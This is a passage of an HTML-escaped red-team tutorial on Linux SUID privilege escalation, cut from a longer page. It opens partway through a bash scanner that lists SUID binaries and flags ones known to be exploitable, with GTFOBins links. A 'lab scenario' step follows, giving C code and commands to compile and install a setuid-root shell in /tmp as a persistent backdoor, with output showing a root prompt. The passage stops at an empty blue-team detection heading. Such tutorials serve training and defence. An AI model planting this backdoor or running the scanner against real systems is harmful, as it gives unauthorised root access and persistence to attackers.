&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;BLU&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}[*] Scanning the filesystem...${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;RST&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;BINS&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -perm&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u=s&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -type&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;/dev/null&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;TOTAL&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$BINS&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;wc&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -l&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;[*] Found ${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;YEL&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;TOTAL&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;RST&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;} SUID binaries&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;[*] Checking against the list of known exploits...&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;HIT&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;while&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt; IFS&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; read&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -r&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; bin&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;  name&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;basename&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$bin&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;  owner&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;stat&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;#x27;%U&amp;#x26;#x27; &amp;#x26;quot;$bin&amp;#x26;quot; 2&amp;#x26;gt;/dev/null)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;  perms&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;stat&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;#x27;%A&amp;#x26;#x27; &amp;#x26;quot;$bin&amp;#x26;quot; 2&amp;#x26;gt;/dev/null)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; echo&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$name&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;grep&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -qiE&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$KNOWN_EXPLOITABLE&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;; &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    echo&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;  ${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;RED&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;[!!!]&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; EXPLOITABLE:&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;RST&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$bin&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    echo&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;       &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;Owner:&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; ${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;YEL&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;owner&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;RST&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;} | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;Perm:&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; ${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;perms&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    echo&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;       &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;GTFOBins:&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; ${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;BLU&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;https://gtfobins.github.io/gtfobins/&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;/#suid&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;RST&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;    HIT&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;$((&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;HIT&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;  else&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    echo&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;  ${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;GREEN&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;[ok]$&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;{RST}&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;  $bin&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  ${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;BLUE&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}(${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;owner&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;})${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;RST&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;  fi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;done&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;lt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;lt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;lt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$BINS&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;\n[*]&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; Summary:&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; ${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;RED&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;HIT&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;potential&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;RST&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;out&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; of&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; ${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;TOTAL&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;SUID&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; binaries&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; in&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; total&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;step-4--writing-a-custom-suid-backdoor-lab-scenario&quot;&gt;Step 4 — Writing a Custom SUID Backdoor (Lab Scenario)&lt;/h2&gt;
&lt;p&gt;In authorized red team operations, you may need to plant a persistent SUID shell for post-exploitation access.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# As root — compile a minimal setuid wrapper for the shell&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;/tmp/rootshell.c&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;lt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;lt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &amp;#x26;#x27;EOF&amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#include &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x3C;stdio.h&gt;#include&amp;#x3C;unistd.h&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; main&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;    setuid(0&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;    setgid(0&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;    execl(&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;/bin/bash&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;bash&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;-p&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; NULL&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;EOF&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Compile and set SUID&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gcc&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /tmp/rootshell.c&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -o&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /tmp/rootshell&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;chmod&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; u+s&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /tmp/rootshell&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# A low-privileged user can now call it&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;/tmp/rootshell&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# bash-5.1# whoami&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# root&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&gt; &lt;strong&gt;DANGER:&lt;/strong&gt; Never deploy SUID backdoors on production systems or without explicit written authorization. This is only for authorized lab environments.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;detection--mitigation&quot;&gt;Detection &amp;#x26; Mitigation&lt;/h2&gt;
&lt;h3 id=&quot;blue-team-detections&quot;&gt;Blue Team Detections&lt;/h3&gt;






























